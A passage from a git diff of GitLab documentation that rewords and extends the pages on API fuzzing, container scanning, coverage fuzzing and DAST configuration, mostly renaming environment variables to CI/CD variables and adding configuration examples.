the value for `FUZZAPI_HTTP_PASSWORD`: ```yaml include: @@ -356,7 +357,6 @@ variables: FUZZAPI_TARGET_URL: http://test-deployment/ FUZZAPI_HTTP_USERNAME: testuser FUZZAPI_HTTP_PASSWORD: $TEST_API_PASSWORD - ``` #### Bearer Tokens @@ -371,36 +371,39 @@ tokens with API fuzzing, you need one of the following: ##### Token doesn't expire -If the bearer token doesn't expire, you can provide it using the `FUZZAPI_OVERRIDES_ENV` variable. -The `FUZZAPI_OVERRIDES_ENV` content is a JSON snippet that provides headers and cookies that should -be added to outgoing HTTP requests made by API fuzzing. +If the bearer token doesn't expire, use the `FUZZAPI_OVERRIDES_ENV` variable to provide it. This +variable's content is a JSON snippet that provides headers and cookies to add to API fuzzing's +outgoing HTTP requests. -Create a CI/CD variable, for example `TEST_API_BEARERAUTH`, with the value -`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You can -create CI/CD variables from the GitLab projects page at **Settings > CI/CD** in the **Variables** -section. +Follow these steps to provide the bearer token with `FUZZAPI_OVERRIDES_ENV`: -Set `FUZZAPI_OVERRIDES_ENV` in your `.gitlab-ci.yml` file: +1. [Create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), + for example `TEST_API_BEARERAUTH`, with the value + `{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You + can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the + **Variables** section. -```yaml -include: - - template: API-Fuzzing.gitlab-ci.yml +1. In your `.gitlab-ci.yml` file, set `FUZZAPI_OVERRIDES_ENV` to the variable you just created: -variables: - FUZZAPI_PROFILE: Quick-10 - FUZZAPI_OPENAPI: test-api-specification.json - FUZZAPI_TARGET_URL: http://test-deployment/ - FUZZAPI_OVERRIDES_ENV: $TEST_API_BEARERAUTH -``` + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml -To validate that authentication is working, run an API fuzzing test and review the fuzzing logs and -the test API's application logs. + variables: + FUZZAPI_PROFILE: Quick-10 + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_OVERRIDES_ENV: $TEST_API_BEARERAUTH + ``` + +1. To validate that authentication is working, run an API fuzzing test and review the fuzzing logs + and the test API's application logs. -##### Token generated at test-runtime +##### Token generated at test runtime -If the bearer token must be generated, and the resulting token doesn't expire during testing, you -can provide to API fuzzing a file containing the token. This file can be generated by a prior stage -and job, or as part of the API fuzzing job. +If the bearer token must be generated and doesn't expire during testing, you can provide to API +fuzzing a file containing the token. A prior stage and job, or part of the API fuzzing job, can +generate this file. API fuzzing expects to receive a JSON file with the following structure: @@ -413,7 +416,7 @@ API fuzzing expects to receive a JSON file with the following structure: ``` This file can be generated by a prior stage and provided to API fuzzing through the -`FUZZAPI_OVERRIDES_FILE` variable. +`FUZZAPI_OVERRIDES_FILE` CI/CD variable. Set `FUZZAPI_OVERRIDES_FILE` in your `.gitlab-ci.yml` file: @@ -448,11 +451,13 @@ The script must create a JSON file containing the bearer token in a specific for } ``` -You must provide three variables, each set for correct operation: +You must provide three CI/CD variables, each set for correct operation: -- `FUZZAPI_OVERRIDES_FILE`: File generated by the provided command. -- `FUZZAPI_OVERRIDES_CMD`: Command to generate JSON file. -- `FUZZAPI_OVERRIDES_INTERVAL`: Interval in seconds to run command. +- `FUZZAPI_OVERRIDES_FILE`: JSON file the provided command generates. +- `FUZZAPI_OVERRIDES_CMD`: Command that generates the JSON file. +- `FUZZAPI_OVERRIDES_INTERVAL`: Interval (in seconds) to run command. + +For example: ```yaml include: @@ -472,35 +477,35 @@ the test API's application logs. ### Configuration files -To get started quickly, GitLab provides you with the configuration file +To get you started quickly, GitLab provides the configuration file [`gitlab-api-fuzzing-config.yml`](https://gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing/-/blob/master/gitlab-api-fuzzing-config.yml). -This file has several testing profiles that perform various amounts of testing. The run time of each -increases as the numbers go up. To use a configuration file, add it to your repository's root as -`.gitlab-api-fuzzing.yml`. +This file has several testing profiles that perform various numbers of tests. The run time of each +profile increases as the test numbers go up. To use a configuration file, add it to your +repository's root as `.gitlab-api-fuzzing.yml`. -| Profile | Scan Type | +| Profile | Fuzz Tests (per parameter) | |:---------|:-----------| -|Quick-10 |Fuzzing 10 times per parameter | -|Medium-20 |Fuzzing 20 times per parameter | -|Medium-50 |Fuzzing 50 times per parameter | -|Long-100 |Fuzzing 100 times per parameter | - -### Available variables - -| Environment variable | Description | -|-----------------------------|--------------------| -| `FUZZAPI_VERSION` | Specify API Fuzzing container version. Defaults to `latest`. | -| `FUZZAPI_TARGET_URL` | Base URL of API testing target. | -|[`FUZZAPI_CONFIG`](#configuration-files) | API Fuzzing configuration file. Defaults to `.gitlab-apifuzzer.yml`. | -|[`FUZZAPI_PROFILE`](#configuration-files) | Configuration profile to use during testing. Defaults to `Quick`. | -| `FUZZAPI_REPORT` | Scan report filename. Defaults to `gl-api_fuzzing-report.xml`. | -|[`FUZZAPI_OPENAPI`](#openapi-specification) | OpenAPI specification file or URL. | -|[`FUZZAPI_HAR`](#http-archive-har) | HTTP Archive (HAR) file. | -|[`FUZZAPI_POSTMAN_COLLECTION`](#postman-collection) | Postman Collection file. | -|[`FUZZAPI_OVERRIDES_FILE`](#overrides) | Path to a JSON file containing overrides. | -|[`FUZZAPI_OVERRIDES_ENV`](#overrides) | JSON string containing headers to override. | -|[`FUZZAPI_OVERRIDES_CMD`](#overrides) | Overrides command. | -|[`FUZZAPI_OVERRIDES_INTERVAL`](#overrides) | How often to run overrides command in seconds. Defaults to `0` (once). | +| Quick-10 | 10 | +| Medium-20 | 20 | +| Medium-50 | 50 | +| Long-100 | 100 | + +### Available CI/CD variables + +| CI/CD variable | Description | +|------------------------------------------------------|--------------------| +| `FUZZAPI_VERSION` | Specify API Fuzzing container version. Defaults to `latest`. | +| `FUZZAPI_TARGET_URL` | Base URL of API testing target. | +|[`FUZZAPI_CONFIG`](#configuration-files) | API Fuzzing configuration file. Defaults to `.gitlab-apifuzzer.yml`. | +|[`FUZZAPI_PROFILE`](#configuration-files) | Configuration profile to use during testing. Defaults to `Quick`. | +| `FUZZAPI_REPORT` | Scan report filename. Defaults to `gl-api_fuzzing-report.xml`. | +|[`FUZZAPI_OPENAPI`](#openapi-specification) | OpenAPI specification file or URL. | +|[`FUZZAPI_HAR`](#http-archive-har) | HTTP Archive (HAR) file. | +|[`FUZZAPI_POSTMAN_COLLECTION`](#postman-collection) | Postman Collection file. | +|[`FUZZAPI_OVERRIDES_FILE`](#overrides) | Path to a JSON file containing overrides. | +|[`FUZZAPI_OVERRIDES_ENV`](#overrides) | JSON string containing headers to override. | +|[`FUZZAPI_OVERRIDES_CMD`](#overrides) | Overrides command. | +|[`FUZZAPI_OVERRIDES_INTERVAL`](#overrides) | How often to run overrides command in seconds. Defaults to `0` (once). | |[`FUZZAPI_HTTP_USERNAME`](#http-basic-authentication) | Username for HTTP authentication. | |[`FUZZAPI_HTTP_PASSWORD`](#http-basic-authentication) | Password for HTTP authentication. | @@ -518,11 +523,11 @@ increases as the numbers go up. To use a configuration file, add it to your repo ### Overrides -API Fuzzing provides a method to add or override headers and cookies for all outbound HTTP requests -made. You can use this to inject semver headers, authentication, and so on. The +API Fuzzing provides a method to add or override headers and cookies for all outbound HTTP requests. +You can use this to inject semantic version headers, authentication, and so on. The [authentication section](#authentication) includes examples of using overrides for that purpose. -Overrides uses a JSON document to define the headers and cookies: +Overrides use a JSON document to define the headers and cookies: ```json { @@ -537,7 +542,7 @@ Overrides uses a JSON document to define the headers and cookies: } ``` -Example usage for setting a single header: +Example of setting a single header: ```json { @@ -547,7 +552,7 @@ Example usage for setting a single header: } ``` -Example usage for setting both a header and cookie: +Example of setting both a header and cookie: ```json { @@ -560,14 +565,14 @@ Example usage for setting both a header and cookie: } ``` -You can provide this JSON document as a file or environment variable. You may also provide a command +You can provide this JSON document as a file or CI/CD variable. You may also provide a command to generate the JSON document. The command can run at intervals to support values that expire. #### Using a file -To provide the overrides JSON as a file, the `FUZZAPI_OVERRIDES_FILE` environment variable is set. The path is relative to the job current working directory. +To provide the overrides JSON as a file, the `FUZZAPI_OVERRIDES_FILE` CI/CD variable is set. The path is relative to the job current working directory. -Example `.gitlab-ci.yml`: +Here's an example `.gitlab-ci.yml`: ```yaml include: @@ -580,12 +585,12 @@ variables: FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json ``` -#### Using an environment variable +#### Using a CI/CD variable -To provide the overrides JSON as an environment variable, use the `FUZZAPI_OVERRIDES_ENV` variable. -This allows you to place the JSON as CI/CD variables that can be masked and protected. +To provide the overrides JSON as a CI/CD variable, use the `FUZZAPI_OVERRIDES_ENV` variable. +This allows you to place the JSON as variables that can be masked and protected. -In this example `.gitlab-ci.yml`, the JSON is provided directly: +In this example `.gitlab-ci.yml`, the `FUZZAPI_OVERRIDES_ENV` variable is set directly to the JSON: ```yaml include: @@ -598,8 +603,8 @@ variables: FUZZAPI_OVERRIDES_ENV: '{"headers":{"X-API-Version":"2"}}' ``` -In this example `.gitlab-ci.yml`, the CI/CD variable `SECRET_OVERRIDES` provides the JSON. This is a -[group or instance level environment variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-environment-variables): +In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a +[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-variables): ```yaml include: @@ -620,7 +625,7 @@ container that has Python 3 and Bash installed. If the Python script requires ad it must detect this and install the packages at runtime. The script creates the overrides JSON file as defined above. -You must provide three variables, each set for correct operation: +You must provide three CI/CD variables, each set for correct operation: - `FUZZAPI_OVERRIDES_FILE`: File generated by the provided command. - `FUZZAPI_OVERRIDES_CMD`: Command to generate JSON file. @@ -689,9 +694,9 @@ for off. To turn header fuzzing on, change this setting to `true`: Headers: ``` -`Headers` is a list of headers to fuzz. Only headers listed are fuzzed. For example, to fuzz a -custom header `X-Custom` used by your APIs, add an entry for it using the syntax -`- Name: HeaderName`, substituting `HeaderName` with the header to fuzz: +`Headers` is a list of headers to fuzz. Only headers listed are fuzzed. To fuzz a header used by +your APIs, add an entry for it using the syntax `- Name: HeaderName`. For example, to fuzz a +custom header `X-Custom`, add `- Name: X-Custom`: ```yaml - Name: GeneralFuzzingCheck diff --git a/doc/user/application_security/compliance_dashboard/index.md b/doc/user/application_security/compliance_dashboard/index.md deleted file mode 100644 index 383d2bf2df7..00000000000 --- a/doc/user/application_security/compliance_dashboard/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../compliance/compliance_dashboard/index.md' ---- - -This document was moved to [another location](../../compliance/compliance_dashboard/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md index 9bde2c28972..6eec1418ef0 100644 --- a/doc/user/application_security/container_scanning/index.md +++ b/doc/user/application_security/container_scanning/index.md @@ -9,6 +9,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3672) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4. +WARNING: +GitLab 14.0 will replace its container scanning engine with Trivy. Currently, GitLab uses the open +source Clair engine for container scanning. GitLab 13.9 deprecates Clair. This is not a hard +breaking change, as customers who wish to continue to use Clair can do so by setting the +`CS_MAJOR_VERSION` CI/CD variable to version 3 (or earlier) in their `gitlab-ci.yaml` file. Since Clair is +deprecated, however, note that GitLab will no longer update or maintain that scanning engine +beginning in the 14.0 release. We advise customers to use the new default of Trivy beginning in +GitLab 14.0 for regular updates and the latest features. + Your application's Docker image may itself be based on Docker images that contain known vulnerabilities. By including an extra job in your pipeline that scans for those vulnerabilities and displays them in a merge request, you can use GitLab to audit your Docker-based apps. @@ -46,7 +55,7 @@ To enable container scanning in your pipeline, you need the following: - An image matching [Clair's list of supported distributions](https://quay.github.io/claircore/). - [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) your Docker image to your project's container registry. The name of the Docker image should use - the following [predefined environment variables](../../../ci/variables/predefined_variables.md): + the following [predefined CI/CD variables](../../../ci/variables/predefined_variables.md): ```plaintext $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA @@ -131,12 +140,12 @@ include: There may be cases where you want to customize how GitLab scans your containers. For example, you may want to enable more verbose output from Clair or Klar, access a Docker registry that requires authentication, and more. To change such settings, use the [`variables`](../../../ci/yaml/README.md#variables) -parameter in your `.gitlab-ci.yml` to set [environment variables](#available-variables). -The environment variables you set in your `.gitlab-ci.yml` overwrite those in +parameter in your `.gitlab-ci.yml` to set [CI/CD variables](#available-variables). +The variables you set in your `.gitlab-ci.yml` overwrite those in `Container-Scanning.gitlab-ci.yml`. This example [includes](../../../ci/yaml/README.md#include) the container scanning template and -enables verbose output from Clair by setting the `CLAIR_OUTPUT` environment variable to `High`: +enables verbose output from Clair by setting the `CLAIR_OUTPUT` variable to `High`: ```yaml include: @@ -173,26 +182,26 @@ variables: #### Available variables You can [configure](#customizing-the-container-scanning-settings) container -scanning by using the following environment variables: +scanning by using the following CI/CD variables: -| Environment Variable | Default | Description | +| CI/CD Variable | Default | Description | | ------------------------------ | ------------- | ----------- | -| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. | +| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. See [Using a custom SSL CA certificate authority](#using-a-custom-ssl-ca-certificate-authority) for more details. | | `CLAIR_DB_CONNECTION_STRING` | `postgresql://postgres:password@clair-vulnerabilities-db:5432/postgres?sslmode=disable&statement_timeout=60000` | This variable represents the [connection string](https://www.postgresql.org/docs/9.3/libpq-connect.html#AEN39692) to the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) database and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool) section. The host value for the connection string must match the [alias](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) value of the `Container-Scanning.gitlab-ci.yml` template file, which defaults to `clair-vulnerabilities-db`. | | `CLAIR_DB_IMAGE` | `arminc/clair-db:latest` | The Docker image name and tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes, or to refer to a locally hosted vulnerabilities database for an on-premise offline installation. | | `CLAIR_DB_IMAGE_TAG` | `latest` | (**DEPRECATED - use `CLAIR_DB_IMAGE` instead**) The Docker image tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes. | | `CLAIR_OUTPUT` | `Unknown` | Severity level threshold. Vulnerabilities with severity level higher than or equal to this threshold are outputted. Supported levels are `Unknown`, `Negligible`, `Low`, `Medium`, `High`, `Critical` and `Defcon1`. | -| `CLAIR_TRACE` | `"false"` | Set to true to enable more verbose output from the clair server process. | +| `CLAIR_TRACE` | `"false"` | Set to true to enable more verbose output from the Clair server process. | | `CLAIR_VULNERABILITIES_DB_URL` | `clair-vulnerabilities-db` | (**DEPRECATED - use `CLAIR_DB_CONNECTION_STRING` instead**) This variable is explicitly set in the [services section](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) of the `Container-Scanning.gitlab-ci.yml` file and defaults to `clair-vulnerabilities-db`. This value represents the address that the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) is running on and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool) section. | | `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. | | `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. | -| `CS_MAJOR_VERSION` | `3` | The major version of the Docker image tag. | +| `CS_MAJOR_VERSION` | `3` | The major version of the Docker image tag. | | `DOCKER_IMAGE` | `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG` | The Docker image to be scanned. If set, this variable overrides the `$CI_APPLICATION_REPOSITORY` and `$CI_APPLICATION_TAG` variables. | | `DOCKER_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access secure Docker registries using HTTPS with bad (or self-signed) SSL certificates. | | `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. | | `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. | | `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to be used for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project, so this variable should only be configured if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. | -| `KLAR_TRACE` | `"false"` | Set to true to enable more verbose output from klar. | +| `KLAR_TRACE` | `"false"` | Set to true to enable more verbose output from Klar. | | `REGISTRY_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access insecure registries (HTTP only). Should only be set to `true` when testing the image locally. | | `SECURE_ANALYZERS_PREFIX` | `"registry.gitlab.com/gitlab-org/security-products/analyzers"` | Set the Docker registry base address from which to download the analyzer. | | `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. | @@ -217,6 +226,23 @@ GitLab 13.0 and later doesn't support [`only` and `except`](../../../ci/yaml/REA When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. +### Using a custom SSL CA certificate authority + +You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority, which is used to verify the peer when fetching Docker images from a registry which uses HTTPS. The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the [text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1). For example, to configure this value in the `.gitlab-ci.yml` file, use the following: + +```yaml +container_scanning: + variables: + ADDITIONAL_CA_CERT_BUNDLE: | + -----BEGIN CERTIFICATE----- + MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB + ... + jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs= + -----END CERTIFICATE----- +``` + +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. + ### Vulnerability allowlisting To allowlist specific vulnerabilities, follow these steps: @@ -277,7 +303,7 @@ For details on saving and transporting Docker images as a file, see Docker's doc [`docker save`](https://docs.docker.com/engine/reference/commandline/save/), [`docker load`](https://docs.docker.com/engine/reference/commandline/load/), [`docker export`](https://docs.docker.com/engine/reference/commandline/export/), and [`docker import`](https://docs.docker.com/engine/reference/commandline/import/). -#### Set container scanning CI job variables to use local container scanner analyzers +#### Set container scanning CI/CD variables to use local container scanner analyzers 1. [Override the container scanning template](#overriding-the-container-scanning-template) in your `.gitlab-ci.yml` file to refer to the Docker images hosted on your local Docker container registry: @@ -334,13 +360,13 @@ image directly, follow these steps: docker run -p 5432:5432 -d --name clair-db arminc/clair-db:latest ``` -1. Configure an environment variable to point to your local machine's IP address (or insert your IP address instead of the `LOCAL_MACHINE_IP_ADDRESS` variable in the `CLAIR_DB_CONNECTION_STRING` in the next step): +1. Configure a CI/CD variable to point to your local machine's IP address (or insert your IP address instead of the `LOCAL_MACHINE_IP_ADDRESS` variable in the `CLAIR_DB_CONNECTION_STRING` in the next step): ```shell export LOCAL_MACHINE_IP_ADDRESS=your.local.ip.address ``` -1. Run the analyzer's Docker image, passing the image and tag you want to analyze in the `CI_APPLICATION_REPOSITORY` and `CI_APPLICATION_TAG` environment variables: +1. Run the analyzer's Docker image, passing the image and tag you want to analyze in the `CI_APPLICATION_REPOSITORY` and `CI_APPLICATION_TAG` variables: ```shell docker run \ @@ -437,7 +463,7 @@ Some vulnerabilities can be fixed by applying the solution that GitLab automatically generates. To enable remediation support, the scanning tool _must_ have access to the `Dockerfile` specified by -the [`DOCKERFILE_PATH`](#available-variables) environment variable. To ensure that the scanning tool +the [`DOCKERFILE_PATH`](#available-variables) CI/CD variable. To ensure that the scanning tool has access to this file, it's necessary to set [`GIT_STRATEGY: fetch`](../../../ci/runners/README.md#git-strategy) in your `.gitlab-ci.yml` file by following the instructions described in this document's diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md index 469945246c1..9e42b3e403a 100644 --- a/doc/user/application_security/coverage_fuzzing/index.md +++ b/doc/user/application_security/coverage_fuzzing/index.md @@ -27,12 +27,13 @@ Docker image with the fuzz engine to run your app. |----------|----------------|---------| | C/C++ | [libFuzzer](https://llvm.org/docs/LibFuzzer.html) | [c-cpp-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/c-cpp-fuzzing-example) | | GoLang | [go-fuzz (libFuzzer support)](https://github.com/dvyukov/go-fuzz) | [go-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example) | -| Swift | [libfuzzer](https://github.com/apple/swift/blob/master/docs/libFuzzerIntegration.md) | [swift-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/swift-fuzzing-example) | +| Swift | [libFuzzer](https://github.com/apple/swift/blob/master/docs/libFuzzerIntegration.md) | [swift-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/swift-fuzzing-example) | | Rust | [cargo-fuzz (libFuzzer support)](https://github.com/rust-fuzz/cargo-fuzz) | [rust-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example) | -| Java | [javafuzz](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/javafuzz) (recommended) | [javafuzz-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/javafuzz-fuzzing-example) | +| Java | [Javafuzz](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/javafuzz) (recommended) | [javafuzz-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/javafuzz-fuzzing-example) | | Java | [JQF](https://github.com/rohanpadhye/JQF) (not preferred) | [jqf-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/java-fuzzing-example) | -| JavaScript | [jsfuzz](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/jsfuzz)| [jsfuzz-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/jsfuzz-fuzzing-example) | -| Python | [pythonfuzz](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/pythonfuzz)| [pythonfuzz-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/pythonfuzz-fuzzing-example) | +| JavaScript | [`jsfuzz`](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/jsfuzz)| [jsfuzz-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/jsfuzz-fuzzing-example) | +| Python | [`pythonfuzz`](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/pythonfuzz)| [pythonfuzz-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/pythonfuzz-fuzzing-example) | +| AFL (any language that works on top of AFL) | [AFL](https://lcamtuf.coredump.cx/afl/)| [afl-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/afl-fuzzing-example) | ## Configuration @@ -44,8 +45,18 @@ provided as part of your GitLab installation. To do so, add the following to your `.gitlab-ci.yml` file: ```yaml +stages: + - fuzz + include: - template: Coverage-Fuzzing.gitlab-ci.yml + +my_fuzz_target: + extends: .fuzz_base + script: + # Build your fuzz target binary in these steps, then run it with gitlab-cov-fuzz> + # See our example repos for how you could do this with any of our supported languages + - ./gitlab-cov-fuzz run --regression=$REGRESSION -- <your fuzz target> ``` The included template makes available the [hidden job](../../../ci/yaml/README.md#hide-jobs) @@ -97,7 +108,7 @@ There are two types of jobs: Here's our current suggestion for configuring your fuzz target's timeout: -- Set `COVFUZZ_BRANCH` to the branch where you want to run long-running (async) fuzzing +- Set `COVFUZZ_BRANCH` to the branch where you want to run long-running (asynchronous) fuzzing jobs. This is `master` by default. - Use regression or short-running fuzzing jobs for other branches or merge requests. @@ -108,13 +119,13 @@ You can configure this by passing `--regression=false/true` to `gitlab-cov-fuzz` shows. Also note that `gitlab-cov-fuzz` is a wrapper, so you can pass those arguments to configure any option available in the underlying fuzzing engine. -### Available variables +### Available CI/CD variables -| Environment variable | Description | -|---------------------------|--------------------------------------------------------------------| -| `COVFUZZ_BRANCH` | The branch for long-running fuzzing jobs. The default is `master`. | -| `COVFUZZ_SEED_CORPUS` | Path to a seed corpus directory. The default is empty. | -| `COVFUZZ_URL_PREFIX` | Path to the `gitlab-cov-fuzz` repository cloned for use with an offline environment. You should only change this when using an offline environment. The default value is `https://gitlab.com/gitlab-org/security-products/analyzers/gitlab-cov-fuzz/-/raw`. | +| CI/CD variable | Description | +|-----------------------|--------------------------------------------------------------------| +| `COVFUZZ_BRANCH` | The branch for long-running fuzzing jobs. The default is `master`. | +| `COVFUZZ_SEED_CORPUS` | Path to a seed corpus directory. The default is empty. | +| `COVFUZZ_URL_PREFIX` | Path to the `gitlab-cov-fuzz` repository cloned for use with an offline environment. You should only change this when using an offline environment. The default value is `https://gitlab.com/gitlab-org/security-products/analyzers/gitlab-cov-fuzz/-/raw`. | The files in the seed corpus (`COVFUZZ_SEED_CORPUS`), if provided, aren't updated unless you commit new files to your Git repository. There's usually no need to frequently update the seed corpus. As part @@ -178,20 +189,20 @@ To use coverage fuzzing in an offline environment, follow these steps: `NEW_URL_GITLAB_COV_FUZ` is the URL of the private `gitlab-cov-fuzz` clone that you set up in the first step. -### Continuous fuzzing (long-running async fuzzing jobs) +### Continuous fuzzing (long-running asynchronous fuzzing jobs) It's also possible to run the fuzzing jobs longer and without blocking your main pipeline. This configuration uses the GitLab [parent-child pipelines](../../../ci/parent_child_pipelines.md). The full example is available in the [repository](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/-/tree/continuous_fuzzing#running-go-fuzz-from-ci). This example uses Go, but is applicable for any other supported languages. -The suggested workflow in this scenario is to have long-running, async fuzzing jobs on a +The suggested workflow in this scenario is to have long-running, asynchronous fuzzing jobs on a main/development branch, and short, blocking sync fuzzing jobs on all other branches and MRs. This is a good way to balance the needs of letting a developer's per-commit pipeline complete quickly, and also giving the fuzzer a large amount of time to fully explore and test the app. Long-running fuzzing jobs are usually necessary for the coverage guided fuzzer to find deeper bugs -in your latest code base. THe following is an example of what `.gitlab-ci.yml` looks like in this +in your latest codebase. THe following is an example of what `.gitlab-ci.yml` looks like in this workflow (for the full example, see the [repository](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/-/tree/continuous_fuzzing)): ```yaml @@ -207,7 +218,7 @@ sync_fuzzing: async_fuzzing: variables: - COVFUZZ_ADDITIONAL_ARGS: '-max_total_time=3600' + COVFUZZ_ADDITIONAL_ARGS: '-max_total_time=3600' trigger: include: .covfuzz-ci.yml rules: @@ -242,9 +253,9 @@ vulnerability: vulnerability can be Detected, Confirmed, Dismissed, or Resolved. - Project: The project in which the vulnerability exists. - Crash type: The type of crash or weakness in the code. This typically maps to a [CWE](https://cwe.mitre.org/). -- Crash state: A normalized version of the stacktrace, containing the last three functions of the +- Crash state: A normalized version of the stack trace, containing the last three functions of the crash (without random addresses). -- Stacktrace snippet: The last few lines of the stacktrace, which shows details about the crash. +- Stack trace snippet: The last few lines of the stack trace, which shows details about the crash. - Identifier: The vulnerability's identifier. This maps to either a [CVE](https://cve.mitre.org/) or [CWE](https://cwe.mitre.org/). - Severity: The vulnerability's severity. This can be Critical, High, Medium, Low, Info, or Unknown. diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md index 395a8702d1b..3950c856b40 100644 --- a/doc/user/application_security/dast/index.md +++ b/doc/user/application_security/dast/index.md @@ -92,7 +92,7 @@ variables: To use the latest version of the DAST template, include `DAST.latest.gitlab-ci.yml` instead of `DAST.gitlab-ci.yml`. -See the CI [docs](../../../development/cicd/templates.md#latest-version) +See the CI/CD [documentation](../../../development/cicd/templates.md#latest-version) on template versioning for more information. Please note that the latest version may include breaking changes. Check the @@ -102,7 +102,7 @@ Please note that the latest version may include breaking changes. Check the There are two ways to define the URL to be scanned by DAST: -1. Set the `DAST_WEBSITE` [variable](../../../ci/yaml/README.md#variables). +1. Set the `DAST_WEBSITE` [CI/CD variable](../../../ci/yaml/README.md#variables). 1. Add it in an `environment_url.txt` file at the root of your project. This is useful for testing in dynamic environments. To run DAST against an application @@ -177,7 